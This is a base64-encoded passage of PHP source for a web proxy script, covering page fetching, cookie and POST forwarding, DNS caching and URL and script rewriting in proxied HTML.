bGw7DQoJCQl3aGlsZSh0cnVlKXsNCgkJCQkkY2h1bms9ZnJlYWQoJGZwLDgxOTIpOw0KCQkJCWlmKGVtcHR5KCRjaHVuaykpIGJyZWFrOw0KCQkJCWlmKCRqdXN0b3V0cHV0bm93KSBlY2hvICRjaHVuazsNCgkJCQllbHNlICRib2R5Lj0kY2h1bms7DQoJCQl9DQoJCX0NCgl9DQoNCglmY2xvc2UoJGZwKTsNCglyZXN0b3JlX2Vycm9yX2hhbmRsZXIoKTsNCg0KCWlmKEdaSVBfUFJPWFlfU0VSVkVSICYmICRoZWFkZXJzWydjb250ZW50LWVuY29kaW5nJ11bMF09PSdnemlwJykgJGJvZHk9Z3ppbmZsYXRlKHN1YnN0cigkYm9keSwxMCkpOw0KCWlmKCRqdXN0b3V0cHV0KXsNCgkJaWYoISRqdXN0b3V0cHV0bm93KSBlY2hvICRib2R5Ow0KCQlmaW5pc2goKTsNCgl9DQoJcmV0dXJuIGFycmF5KCRib2R5LCR1cmwsJGNvb2tfcHJlZml4KTsNCg0KfQ0KDQojIH19fQ0KDQojIH19fQ0KDQojIFBST1hZIEVYRUNVVElPTiB7e3sNCg0KIyBQUk9YWSBFWEVDVVRJT046IFVTRVIgQ09PS0lFUyB7e3sNCg0KZ2xvYmFsICRwcm94eV92YXJpYWJsZXM7DQokcHJveHlfdmFyaWFibGVzPWFycmF5KENPT0tfUFJFRixDT09LX1BSRUYuJ19waXAnLENPT0tfUFJFRi4nX3Bwb3J0JyxDT09LX1BSRUYuJ191c2VyYWdlbnQnLENPT0tfUFJFRi4nX3VzZXJhZ2VudHRleHQnLENPT0tfUFJFRi4nX3VybF9mb3JtJyxDT09LX1BSRUYuJ19yZW1vdmVfY29va2llcycsQ09PS19QUkVGLidfcmVtb3ZlX3JlZmVyZXInLENPT0tfUFJFRi4nX3JlbW92ZV9zY3JpcHRzJyxDT09LX1BSRUYuJ19yZW1vdmVfb2JqZWN0cycsQ09PS19QUkVGLidfZW5jcnlwdF91cmxzJyxDT09LX1BSRUYuJ19lbmNyeXB0X2Nvb2tzJyk7DQoNCmlmKCRwb3N0YW5kZ2V0W0NPT0tfUFJFRi4nX3NldF92YWx1ZXMnXSl7DQoJJHByb3h5X3ZhcmJsYWNrbGlzdD1hcnJheShDT09LX1BSRUYpOw0KCWlmKCRwb3N0YW5kZ2V0W0NPT0tfUFJFRi4nX3VzZXJhZ2VudCddIT0nMScpew0KCQl1bnNldCgkcG9zdGFuZGdldFtDT09LX1BSRUYuJ191c2VyYWdlbnR0ZXh0J10pOw0KCQlkb3NldGNvb2tpZShDT09LX1BSRUYuJ191c2VyYWdlbnR0ZXh0JyxmYWxzZSwwKTsNCgl9DQoJd2hpbGUobGlzdCgka2V5LCR2YWwpPWVhY2goJHByb3h5X3ZhcmlhYmxlcykpew0KCQlpZighaW5fYXJyYXkoJHZhbCwkcHJveHlfdmFyYmxhY2tsaXN0KSl7DQoJCQlkb3NldGNvb2tpZSgkdmFsLGZhbHNlLDApOw0KCQkJaWYoaXNzZXQoJHBvc3RhbmRnZXRbJHZhbF0pICYmICFlbXB0eSgkcG9zdGFuZGdldFskdmFsXSkpIGRvc2V0Y29va2llKCR2YWwsJHBvc3RhbmRnZXRbJHZhbF0pOw0KCQl9DQoJfQ0KCSR0aGV1cmw9ZnJhbWlmeV91cmwoc3Vycm9nYWZ5X3VybChPUklHX1VSTCksUEFHRVRZUEVfRlJBTUVfVE9QKTsNCgkjJHRoZXVybD1zdXJyb2dhZnlfdXJsKChFTkNSWVBUX1VSTFM/cHJveGRlYygkdGhldXJsKTokdGhldXJsKSxudWxsKTsNCgloZWFkZXIoIkxvY2F0aW9uOiB7JHRoZXVybH0iKTsNCglmaW5pc2goKTsNCn0NCg0KIyB9fX0NCg0KIyBQUk9YWSBFWEVDVVRJT046IFBST1hZIEdFVC9QT1NUL0NPT0tJRVMge3t7DQoNCmRlZmluZSgnUElQJywoRk9SQ0VfREVGQVVMVF9UVU5ORUw/JF9DT09LSUVbQ09PS19QUkVGLidfcGlwJ106REVGQVVMVF9UVU5ORUxfUElQKSk7DQpkZWZpbmUoJ1BQT1JUJyxpbnR2YWwoRk9SQ0VfREVGQVVMVF9UVU5ORUw/JF9DT09LSUVbQ09PS19QUkVGLidfcHBvcnQnXTpERUZBVUxUX1RVTk5FTF9QUE9SVCkpOw0KDQpkZWZpbmUoJ0VOQ1JZUFRfQ09PS1MnLGdldGhhcmRhdHRyKCdlbmNyeXB0X2Nvb2tzJykpOw0KDQpnbG9iYWwgJHJlZmVyZXI7DQppZigkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ109PW51bGwpew0KCSRyZWZ1cmxvYmo9bmV3IGF1cmwoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKTsNCgkkcmVmZXJlcj1wcm94ZGVjKHByZWdfcmVwbGFjZSgnL15bXHNcU10qJy5DT09LX1BSRUYuJz0oW14mXSopW1xzXFNdKiQvaScsJ1wxJywkcmVmdXJsb2JqLT5nZXRfcGF0aCgpKSk7ICMqDQp9DQplbHNlICRyZWZlcmVyPW51bGw7DQoNCiMkZ2V0a2V5cz1hcnJheV9rZXlzKCRfR0VUKTsNCiNmb3JlYWNoKCRnZXRrZXlzIGFzICRnZXR2YXIpeyBpZighaW5fYXJyYXkoJGdldHZhciwkcHJveHlfdmFyaWFibGVzKSl7ICRjdXJyX3VybC49KHN0cnBvcygkY3Vycl91cmwsJz8nKT09PWZhbHNlPyc/JzonJicpLiIkZ2V0dmFyPSIudXJsZW5jb2RlKCRfR0VUWyRnZXR2YXJdKTsgfSB9DQoNCmdsb2JhbCAkcG9zdF92YXJzOw0KJHBvc3RfdmFycz1udWxsOw0KJHBvc3RrZXlzPWFycmF5X2tleXMoJF9QT1NUKTsNCmZvcmVhY2goJHBvc3RrZXlzIGFzICRwb3N0a2V5KXsNCglpZighaW5fYXJyYXkoJHBvc3RrZXksJHByb3h5X3ZhcmlhYmxlcykpew0KCQlpZighaXNfYXJyYXkoJF9QT1NUWyRwb3N0a2V5XSkpDQoJCQkkcG9zdF92YXJzLj0oJHBvc3RfdmFycyE9bnVsbD8nJic6bnVsbCkuaHR0cGNsZWFuKCRwb3N0a2V5KS4nPScuaHR0cGNsZWFuKCRfUE9TVFskcG9zdGtleV0pOw0KCQllbHNlew0KCQkJZm9yZWFjaCgkX1BPU1RbJHBvc3RrZXldIGFzICRwb3N0dmFsKQ0KCQkJCSRwb3N0X3ZhcnMuPSgkcG9zdF92YXJzIT1udWxsPycmJzpudWxsKS5odHRwY2xlYW4oJHBvc3RrZXkpLiclNUIlNUQ9Jy5odHRwY2xlYW4oJHBvc3R2YWwpOw0KCQl9DQoJfQ0KfQ0KdW5zZXQoJHBvc3RrZXlzKTsNCg0KIyB9fX0NCg0KIyBQUk9YWSBFWEVDVVRJT046IEROUyBDQUNIRSB7e3sNCg0KaWYoIWlzc2V0KCRfU0VTU0lPTlsnRE5TX0NBQ0hFX0FSUkFZJ10pKSAkZG5zX2NhY2hlX2FycmF5PWFycmF5KCk7DQplbHNlICRkbnNfY2FjaGVfYXJyYXk9JF9TRVNTSU9OWydETlNfQ0FDSEVfQVJSQVknXTsNCg0KIyBwdXJnZSBvbGQgcmVjb3JkcyBmcm9tIEROUyBjYWNoZQ0Kd2hpbGUobGlzdCgka2V5LCRlbnRyeSk9ZWFjaCgkZG5zX2NhY2hlX2FycmF5KSl7DQoJaWYoJGVudHJ5Wyd0aW1lJ108dGltZSgpLShETlNfQ0FDSEVfRVhQSVJFKjYwKSkgdW5zZXQoJGRuc19jYWNoZV9hcnJheVska2V5XSk7DQp9DQoNCiMgfX19DQoNCiMgUFJPWFkgRVhFQ1VUSU9OOiBQQUdFIFJFVFJJRVZBTCB7e3sNCg0KJHBhZ2VzdHVmZj1nZXRwYWdlKCRjdXJyX3VybCk7DQokYm9keT0kcGFnZXN0dWZmWzBdOw0KDQokdGJvZHk9dHJpbSgkYm9keSk7DQppZigoJHRib2R5ezB9PT0nIicgJiYgc3Vic3RyKCR0Ym9keSwtMSk9PSciJykgfHwgKCR0Ym9keXswfT09J1wnJyAmJiBzdWJzdHIoJHRib2R5LC0xKT09J1wnJykpew0KCWVjaG8gJGJvZHk7DQoJZmluaXNoKCk7DQp9DQp1bnNldCgkdGJvZHkpOw0KDQokY3Vycl91cmw9JHBhZ2VzdHVmZlsxXTsNCmRlZmluZSgnUEFHRUNPT0tfUFJFRklYJywkcGFnZXN0dWZmWzJdKTsNCnVuc2V0KCRwYWdlc3R1ZmYpOw0KZGVmaW5lKCdDT05URU5UX1RZUEUnLHByZWdfcmVwbGFjZSgnL14oW2EtejAtOVwtXC9dKykuKiQvaScsJ1wxJywkaGVhZGVyc1snY29udGVudC10eXBlJ11bMF0pKTsgIyoNCg0KIyB9fX0NCg0KIyBQUk9YWSBFWEVDVVRJT046IFBBR0UgUEFSU0lORyB7e3sNCg0KaWYoc3RycG9zKCRib2R5LCc8YmFzZScpKXsNCgkkYmFzZT1wcmVnX3JlcGxhY2UoJy9eLionLkJBU0VfUkVHRVhQLicuKiQvaXMnLCdcMScsJGJvZHkpOw0KCWlmKCFlbXB0eSgkYmFzZSkgJiYgJGJhc2UhPSRib2R5ICYmICFlbXB0eSgkYmFzZXsxMDB9KSl7DQoJCSRib2R5PXByZWdfcmVwbGFjZSgnLycuQkFTRV9SRUdFWFAuJy9pJyxudWxsLCRib2R5KTsNCg0KCQkvL3ByZWdfbWF0Y2goJy9eKFsiXCddKS4qXDEkL2knLCRiYXNlKT4wDQoJCWlmKCgkYmFzZXswfT09JyInICYmIHN1YnN0cigkYmFzZSwtMSk9PSciJykgfHwgKCRiYXNlezB9PT0nXCcnICYmIHN1YnN0cigkYmFzZSwtMSk9PSdcJycpKQ0KCQkJJGJhc2U9c3Vic3RyKCRiYXNlLDEsc3RybGVuKCRiYXNlKS0yKTsgIyoNCgkJJGN1cnJfdXJsPSRiYXNlOw0KCX0NCgl1bnNldCgkYmFzZSk7DQp9DQoNCmdsb2JhbCAkY3Vycl91cmxvYmo7DQokY3Vycl91cmxvYmo9bmV3IGF1cmwoJGN1cnJfdXJsKTsNCg0KIyBQUk9YWSBFWEVDVVRJT046IFBBR0UgUEFSU0lORzogUEFSU0lORyBGVU5DVElPTlMge3t7DQoNCmZ1bmN0aW9uIHBhcnNlX2h0bWwoJHJlZ2V4cCwkcGFydG9wYXJzZSwkaHRtbCwkYWRkcHJveHksJGZyYW1pZnkpew0KCWdsb2JhbCAkY3Vycl91cmxvYmo7DQoJJG5ld2h0bWw9bnVsbDsNCgl3aGlsZShwcmVnX21hdGNoKCRyZWdleHAsJGh0bWwsJG1hdGNoYXJyLFBSRUdfT0ZGU0VUX0NBUFRVUkUpKXsNCgkJJG51cmw9c3Vycm9nYWZ5X3VybCgkbWF0Y2hhcnJbJHBhcnRvcGFyc2VdWzBdLCRjdXJyX3VybG9iaiwkYWRkcHJveHkpOw0KCQlpZigkZnJhbWlmeSkgJG51cmw9ZnJhbWlmeV91cmwoJG51cmwsJGZyYW1pZnkpOw0KCQkkYmVnaW49JG1hdGNoYXJyWyRwYXJ0b3BhcnNlXVsxXTsNCgkJJGVuZD0kbWF0Y2hhcnJbJHBhcnRvcGFyc2VdWzFdK3N0cmxlbigkbWF0Y2hhcnJbJHBhcnRvcGFyc2VdWzBdKTsNCgkJJG5ld2h0bWwuPXN1YnN0cl9yZXBsYWNlKCRodG1sLCRudXJsLCRiZWdpbik7DQoJCSRodG1sPXN1YnN0cigkaHRtbCwkZW5kLHN0cmxlbigkaHRtbCktJGVuZCk7DQoJfQ0KCSRuZXdodG1sLj0kaHRtbDsNCglyZXR1cm4gJG5ld2h0bWw7DQp9DQoNCmZ1bmN0aW9uIHJlZ3VsYXJfZXhwcmVzcygkcmVnZXhwX2FycmF5LCR0aGV2YXIpew0KCSMkcmVnZXhwX2FycmF5WzJdLj0nUyc7ICMgaW4gYmVuY2htYXJrcywgdGhpcyAnb3B0aW1pemF0aW9uJyBhcHBlYXJlZCB0byBub3QgZG8gYW55dGhpbmcgYXQgYWxsLCBvciBwb3NzaWJseSBldmVuIHNsb3cgdGhpbmdzIGRvd24NCglpZigkcmVnZXhwX2FycmF5WzBdPT0xKSAkbmV3dmFyPXByZWdfcmVwbGFjZSgkcmVnZXhwX2FycmF5WzJdLCRyZWdleHBfYXJyYXlbM10sJHRoZXZhcik7DQoJZWxzZWlmKCRyZWdleHBfYXJyYXlbMF09PTIpew0KCQkkYWRkcHJveHk9KGlzc2V0KCRyZWdleHBfYXJyYXlbNF0pPyRyZWdleHBfYXJyYXlbNF06dHJ1ZSk7DQoJCSRmcmFtaWZ5PShpc3NldCgkcmVnZXhwX2FycmF5WzVdKT8kcmVnZXhwX2FycmF5WzVdOmZhbHNlKTsNCgkJJG5ld3Zhcj1wYXJzZV9odG1sKCRyZWdleHBfYXJyYXlbMl0sJHJlZ2V4cF9hcnJheVszXSwkdGhldmFyLCRhZGRwcm94eSwkZnJhbWlmeSk7DQoJfQ0KCXJldHVybiAkbmV3dmFyOw0KfQ0KDQpmdW5jdGlvbiBwYXJzZV9hbGxfaHRtbCgkaHRtbCl7DQoJZ2xvYmFsICRyZWdleHBfYXJyYXlzOw0KDQoJaWYoQ09OVEVOVF9UWVBFIT0ndGV4dC9odG1sJyl7DQoJCWZvcihyZXNldCgkcmVnZXhwX2FycmF5cyk7bGlzdCgka2V5LCRhcnIpPWVhY2goJHJlZ2V4cF9hcnJheXMpOyl7DQoJCQlpZigka2V5PT1DT05URU5UX1RZUEUpew0KCQkJCWZvcmVhY2goJGFyciBhcyAkcmVnYXJyKXsNCgkJCQkJaWYoJHJlZ2Fycj09bnVsbCkgY29udGludWU7DQoJCQkJCSRodG1sPXJlZ3VsYXJfZXhwcmVzcygkcmVnYXJyLCRodG1sKTsNCgkJCQl9DQoJCQl9DQoJCX0NCgkJcmV0dXJuICRodG1sOw0KCX0NCg0KCSNpZighZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX3NjcmlwdHMnXSkpICRzcGxpdGFycj1hcnJheSgkaHRtbCk7DQoJJHNwbGl0YXJyPXByZWdfc3BsaXQoJy8oPCEtLSg/IVxbaWYpLio/LS0+fDxzdHlsZS4qPzxcL3N0eWxlPnw8c2NyaXB0Lio/PFwvc2NyaXB0PikvaXMnLCRodG1sLC0xLFBSRUdfU1BMSVRfREVMSU1fQ0FQVFVSRSk7DQoJdW5zZXQoJGh0bWwpOw0KDQoJLy9kZWZpbmUoJ1JFR0VYUF9TQ1JJUFRfT05FVkVOVCcsJyggb25bYS16XXszLDIwfT0oPzoiKD86W14iXSspInxcJyg/OlteXCddKylcJ3xbXiJcJyA+XVteID5dK1teIlwnID5dKSknKTsNCgkkZmlyc3RydW49dHJ1ZTsNCgkkZmlyc3Rqc3J1bj10cnVlOw0KCWZvcihyZXNldCgkcmVnZXhwX2FycmF5cyk7bGlzdCgka2V5LCRhcnIpPWVhY2goJHJlZ2V4cF9hcnJheXMpOyl7DQoJCWlmKCRrZXk9PSd0ZXh0L2phdmFzY3JpcHQnKSBjb250aW51ZTsNCg0KCQkvLyBPUFRJT04xOiB1c2UgT05MWSBpZiBubyBKYXZhc2NyaXB0IFJFR0VYUFMgYWZmZWN0IEhUTUwgc2VjdGlvbnMNCgkJLy8gYW5kIGFsbCBIVE1MIG1vZGlmeWluZyBKYXZhc2NyaXB0IFJFR0VYUFMgYXJlIHBlcmZvcm1lZCBhZnRlciBIVE1MIHJlZ2V4cHMNCgkJLy8gVGhpcyBnaXZlcyBhIHByZXR0eSBzaWduaWZpY2FudCBzcGVlZCBib29zdA0KCQkvLyBJZiB1c2VkLCBtYWtlIHN1cmUgIk9QVElPTjIiIGxpbmVzIGFyZSBjb21tZW50ZWQsIGFuZCBvdGhlciAiT1BUSU9OMSIgbGluZXMgQVJFTidUDQoJCWlmKCRmaXJzdGpzcnVuICYmICRrZXk9PSdhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQnKXsNCgkJCWlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSkgYnJlYWs7DQoJCQkkc3BsaXRhcnIyPWFycmF5KCk7DQoJCQlmb3IoJGk9MDskaTxjb3VudCgkc3BsaXRhcnIpOyRpKz0yKXsNCgkJCQkkc3BsaXRhcnIyWyRpXT1wcmVnX3NwbGl0KCcvJy5SRUdFWFBfU0NSSVBUX09ORVZFTlQuJy9pcycsJHNwbGl0YXJyWyRpXSwtMSxQUkVHX1NQTElUX0RFTElNX0NBUFRVUkUpOw0KCQkJfQ0KCQl9DQoJCS8vIEVORCBPUFRJT04xDQoNCgkJIyBmaXJzdHJ1biByZW1vdmUgc2NyaXB0czogb248ZXZlbnQ+cyBhbmQgbm9zY3JpcHQgdGFnczsgYWxzbyByZW1vdmUgb2JqZWN0cw0KCQlpZigkZmlyc3RydW4gJiYgKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSB8fCAhZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX29iamVjdHMnXSkpKXsNCgkJCWZvcigkaT0wOyRpPGNvdW50KCRzcGxpdGFycik7JGkrPTIpew0KCQkJCWlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSkNCgkJCQkJJHNwbGl0YXJyWyRpXT1wcmVnX3JlcGxhY2UoJy8oPzonLlJFR0VYUF9TQ1JJUFRfT05FVkVOVC4nfDwuP25vc2NyaXB0PikvaXMnLG51bGwsJHNwbGl0YXJyWyRpXSk7DQoJCQkJaWYoIWVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9vYmplY3RzJ10pKQ0KCQkJCQkkc3BsaXRhcnJbJGldPXByZWdfcmVwbGFjZSgnLzwoZW1iZWR8b2JqZWN0KS4qPzxcL1wxPi9pcycsbnVsbCwkc3BsaXRhcnJbJGldKTsNCgkJCX0NCgkJfQ0KDQoJCWZvcmVhY2goJGFyciBhcyAkcmVnZXhwX2FycmF5KXsNCgkJCWlmKCRyZWdleHBfYXJyYXk9PW51bGwpIGNvbnRpbnVlOw0KCQkJZm9yKCRpPTA7JGk8Y291bnQoJHNwbGl0YXJyKTskaSsrKXsNCg0KCQkJCSMgcGFyc2Ugc2NyaXB0cyBmb3Igb248ZXZlbnQ+cw0KCQkJCWlmKCRpJTI9PTAgJiYgaXNzZXQoJHNwbGl0YXJyMikgJiYgJHJlZ2V4cF9hcnJheVsxXT09Mil7IC8vIE9QVElPTjENCg0KCQkJCS8vIE9QVElPTjINCgkJCQkvL2lmKCRyZWdleHBfYXJyYXlbMV09PTIgJiYgJGklMj09MCl7IC8vIE9QVElPTjINCgkJCQkJLy8kc3BsaXRhcnIyWyRpXT1wcmVnX3NwbGl0KCcvKCBvblthLXpdezMsMjB9PSg/OiIoPzpbXiJdKykifFwnKD86W15cJ10rKVwnfFteIlwnID5dW14gPl0rW14iXCcgPl0pKS9pcycsJHNwbGl0YXJyWyRpXSwtMSxQUkVHX1NQTElUX0RFTElNX0NBUFRVUkUpOw0KCQkJCQkvLyBFTkQgT1BUSU9OMg0KDQoJCQkJCS8vaWYoY291bnQoJHNwbGl0YXJyMlskaV0pPDIpICRzcGxpdGFyclskaV09cmVndWxhcl9leHByZXNzKCRyZWdleHBfYXJyYXksJHNwbGl0YXJyWyRpXSk7IC8vIFVOUkVMQVRFRCBUTyBPUFRJT05TDQoJCQkJCWlmKGNvdW50KCRzcGxpdGFycjJbJGldKT4xKXsNCgkJCQkJCWZvcigkaj0xOyRqPGNvdW50KCRzcGxpdGFycjJbJGldKTskais9Mil7DQoJCQkJCQkJJGJlZ2luPXByZWdfcmVwbGFjZSgnL14oW149XSs9LikuKiQvaScsJ1wxJywkc3BsaXRhcnIyWyRpXVskal0pOw0KCQkJCQkJCSRxdW90ZT1zdWJzdHIoJGJlZ2luLC0xKTsNCgkJCQkJCQlpZigkcXVvdGUhPSciJyAmJiAkcXVvdGUhPSdcJycpew0KCQkJCQkJCQkkcXVvdGU9bnVsbDsNCgkJCQkJCQkJJGJlZ2luPXN1YnN0cigkYmVnaW4sMCwtMSk7DQoJCQkJCQkJfQ0KCQkJCQkJCSRjb2RlPXByZWdfcmVwbGFjZSgnL15bXj1dKz0nLigkcXVvdGU9PW51bGw/JyguKikkL2knOicuKC4qKS4kL2knKSwnXDEnLCRzcGxpdGFycjJbJGldWyRqXSk7DQoJCQkJCQkJaWYoc3Vic3RyKCRjb2RlLDAsMTEpPT0namF2YXNjcmlwdDonKXsNCgkJCQkJCQkJJGJlZ2luLj0namF2YXNjcmlwdDonOw0KCQkJCQkJCQkkY29kZT1zdWJzdHIoJGNvZGUsMTEpOw0KCQkJCQkJCX0NCgkJCQkJCQlpZigkZmlyc3Rqc3J1bikgJGNvZGU9Ijt7JGNvZGV9OyI7DQoJCQkJCQkJJHNwbGl0YXJyMlskaV1bJGpdPSRiZWdpbi5yZWd1bGFyX2V4cHJlc3MoJHJlZ2V4cF9hcnJheSwkY29kZSkuJHF1b3RlOw0KCQkJCQkJfQ0KCQkJCQkJLy8kc3BsaXRhcnJbJGldPWltcGxvZGUobnVsbCwkc3BsaXRhcnIyWyRpXSk7IC8vIE9QVElPTjINCgkJCQkJfQ0KCQkJCX0NCg0KCQkJCSMgcmVtb3ZlIHNjcmlwdHMNCgkJCQllbHNlaWYoJGZpcnN0cnVuICYmICFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSAmJiBzdHJ0b2xvd2VyKHN1YnN0cigkc3BsaXRhcnJbJGldLDAsNykpPT0nPHNjcmlwdCcpDQoJCQkJCSRzcGxpdGFyclskaV09bnVsbDsNCg0KCQkJCSMgcGFyc2UgdmFsaWQgc3R1ZmYNCgkJCQllbHNlaWYoKCRpJTI9PTAgJiYgJHJlZ2V4cF9hcnJheVsxXT09MSkgfHwgKCRyZWdleHBfYXJyYXlbMV09PTIgJiYgc3RydG9sb3dlcihzdWJzdHIoJHNwbGl0YXJyWyRpXSwwLDcpKT09JzxzY3JpcHQnKSB8fCAoJGtleT09J3RleHQvY3NzJyAmJiBzdHJ0b2xvd2VyKHN1YnN0cigkc3BsaXRhcnJbJGldLDAsNikpPT0nPHN0eWxlJykpew0KCQkJCQkkc3BsaXRhcnJbJGldPXJlZ3VsYXJfZXhwcmVzcygkcmVnZXhwX2FycmF5LCRzcGxpdGFyclskaV0pOw0KCQkJCX0NCg0KCQkJCSMgc2NyaXB0IHB1cmdlIGNsZWFudXANCgkJCQlpZigkZmlyc3RydW4gJiYgZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX3NjcmlwdHMnXSkgJiYgc3RydG9sb3dlcihzdWJzdHIoJHNwbGl0YXJyWyRpXSwtOSkpPT0nPC9zY3JpcHQ+JyAmJiAhcHJlZ19tYXRjaCgnL15bXj5dKnNyYy9pJywkc3BsaXRhcnJbJGldKSl7DQoJCQkJCSRzcGxpdGFyclskaV09cHJlZ19yZXBsYWNlKCcvJy5FTkRfT0ZfU0NSSVBUX1RBRy4nJC9pJywnOycuQ09PS19QUkVGLicucHVyZ2UoKTsvLy0tPjwvc2NyaXB0PicsJHNwbGl0YXJyWyRpXSk7DQoJCQkJfQ0KDQoJCQl9DQoNCgkJCSRmaXJzdHJ1bj1mYWxzZTsNCgkJCWlmKCRmaXJzdGpzcnVuICYmICRrZXk9PSdhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQnKQ0KCQkJCSRmaXJzdGpzcnVuPWZhbHNlOw0KCQl9DQoJfQ0KDQoJLy8gT1BUSU9OMQ0KDQoJaWYoZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX3NjcmlwdHMnXSkpew0KCQlmb3IoJGk9MDskaTxjb3VudCgkc3BsaXRhcnIpOyRpKz0yKXsNCgkJCSRzcGxpdGFyclskaV09aW1wbG9kZShudWxsLCRzcGxpdGFycjJbJGldKTsNCgkJfQ0KCX0NCgkvLyBFTkQgT1BUSU9OMQ0KDQoJcmV0dXJuIGltcGxvZGUobnVsbCwkc3BsaXRhcnIpOw0KfQ0KDQojIH19fQ0KDQovLyRzdGFydHRpbWU9bWljcm90aW1lKHRydWUpOyAjIEJFTkNITUFSSw0KJGJvZHk9cGFyc2VfYWxsX2h0bWwoJGJvZHkpOw0KLy8kcGFyc2V0aW1lPW1pY3JvdGltZSh0cnVlKS0kc3RhcnR0aW1lOyAjIEJFTkNITUFSSw0KDQojIFBST1hZIEVYRUNVVElPTjogUEFHRSBQQVJTSU5HOiBQUk9YWSBIRUFERVJTL0pBVkFTQ1JJUFQge3t7DQoNCmlmKENPTlRFTlRfVFlQRT09J3RleHQvaHRtbCcpew0KCSRiaWdfaGVhZGVycz0nPG1ldGEgbmFtZT0icm9ib3RzIiBjb250ZW50PSJub2luZGV4LCBub2ZvbGxvdyIgLz4nLg0KCQkJKFBBR0VUWVBFX0lEPT09UEFHRVRZUEVfRlJBTUVEX1BBR0U/JzxiYXNlIHRhcmdldD0iX3RvcCI+JzpudWxsKS4NCgkJCSc8bGluayByZWw9InNob3J0Y3V0IGljb24iIGhyZWY9Iicuc3Vycm9nYWZ5X3VybCgkY3Vycl91cmxvYmotPmdldF9wcm90bygpLic6Ly8nLiRjdXJyX3VybG9iai0+Z2V0X3NlcnZlcm5hbWUoKS4nL2Zhdmljb24uaWNvJykuJyIgLz4nLg0KCQkJKGVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9zY3JpcHRzJ10pPw0KCQkJCSc8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgc3JjPSInLlRISVNfU0NSSVBULic/anNfZnVuY3MnLihQQUdFX0ZSQU1FRD8nX2ZyYW1lZCc6bnVsbCkuJyI+PC9zY3JpcHQ+Jy4NCgkJCQknPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iJy5USElTX1NDUklQVC4nP2pzX3JlZ2V4cHMnLihQQUdFX0ZSQU1FRD8nX2ZyYW1lZCc6bnVsbCkuJyI+PC9zY3JpcHQ+Jy4NCgkJCQknPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+Jy4NCgkJCQkvLyc8IS0tJy4NCgkJCQlDT09LX1BSRUYuJy5ET0NVTUVOVF9SRUZFUkVSPSInLihVUkxfRk9STT9zdHJfcmVwbGFjZSgnIicsJ1xcIicsJHJlZmVyZXIpOm51bGwpLiciOycuDQoJCQkJQ09PS19QUkVGLicuQ1VSUl9VUkw9Iicuc3RyX3JlcGxhY2UoJyInLCdcXCInLCRjdXJyX3VybG9iai0+Z2V0X3VybCgpKS4nIitsb2NhdGlvbi5oYXNoOycuQ09PS19QUkVGLicuZ2VuX2N1cnJfdXJsb2JqKCk7Jy4NCgkJCQlDT09LX1BSRUYuJy5MT0NBVElPTl9TRUFSQ0g9IicuKCRjdXJyX3VybG9iai0+Z2V0X3F1ZXJ5KCkhPW51bGw/Jz8nLnN0cl9yZXBsYWNlKCciJywnXFwiJywkY3Vycl91cmxvYmotPmdldF9xdWVyeSgpKTpudWxsKS4nIjsnLg0KCQkJCUNPT0tfUFJFRi4nLkxPQ0FUSU9OX0hPU1ROQU1FPSInLnN0cl9yZXBsYWNlKCciJywnXFwiJywkY3Vycl91cmxvYmotPmdldF9zZXJ2ZXJuYW1lKCkpLiciOycuDQoJCQkJQ09PS19QUkVGLicuTE9DQVRJT05fUE9SVD0iJy5zdHJfcmVwbGFjZSgnIicsJ1xcIicsJGN1cnJfdXJsb2JqLT5nZXRfcG9ydHZhbCgpKS4nIjsnLg0KCQkJCUNPT0tfUFJFRi4nLkVOQ1JZUFRfVVJMUz0nLmJvb2xfdG9fanMoRU5DUllQVF9VUkxTKS4nOycuDQoJCQkJQ09PS19QUkVGLicuRU5DUllQVF9DT09LUz0nLmJvb2xfdG9fanMoRU5DUllQVF9DT09LUykuJzsnLg0KCQkJCUNPT0tfUFJFRi4nLlVSTF9GT1JNPScuYm9vbF90b19qcyhVUkxfRk9STSkuJzsnLg0KCQkJCUNPT0tfUFJFRi4nLlBBR0VfRlJBTUVEPScuYm9vbF90b19qcyhQQUdFX0ZSQU1FRCkuJzsnLg0KCQkJCUNPT0tfUFJFRi4iLlVTRVJBR0VOVD1cInskdXNlcmFnZW50fVwiOyIuDQoJCQkJKFVSTF9GT1JNICYmIFBBR0VUWVBFX0lEPT1QQUdFVFlQRV9GUkFNRURfUEFHRT8naWYoJy5DT09LX1BSRUYuJy50aGVwYXJlbnQ9PScuQ09PS19QUkVGLicudGhldG9wKSAnLg0KCQkJCQlDT09LX1BSRUYuJy5ldmVudGlmeSgiJy4kY3Vycl91cmxvYmotPmdldF9wcm90bygpLiciLCInLiRjdXJyX3VybG9iai0+Z2V0X3NlcnZlcm5hbWUoKS4nIik7Jw0KCQkJCTpudWxsKS4NCgkJCQkvLycvLy0tPicuDQoJCQkJJzwvc2NyaXB0PicNCgkJCTpudWxsKQ0KCTsNCg0KCSRib2R5PXByZWdfcmVwbGFjZSgnLyg/Oig8KD86aGVhZHxib2R5KVtePl0qPil8KDwoPzpcL2hlYWR8bWV0YXxsaW5rfHNjcmlwdCkpKS9pJywiXFwxJGJpZ19oZWFkZXJzXFwyIiwkYm9keSwxKTsNCgl1bnNldCgkYmlnX2hlYWRlcnMpOw0KfQ0KZWxzZWlmKENPTlRFTlRfVFlQRT09J2FwcGxpY2F0aW9uL3gtamF2YXNjcmlwdCcgfHwgQ09OVE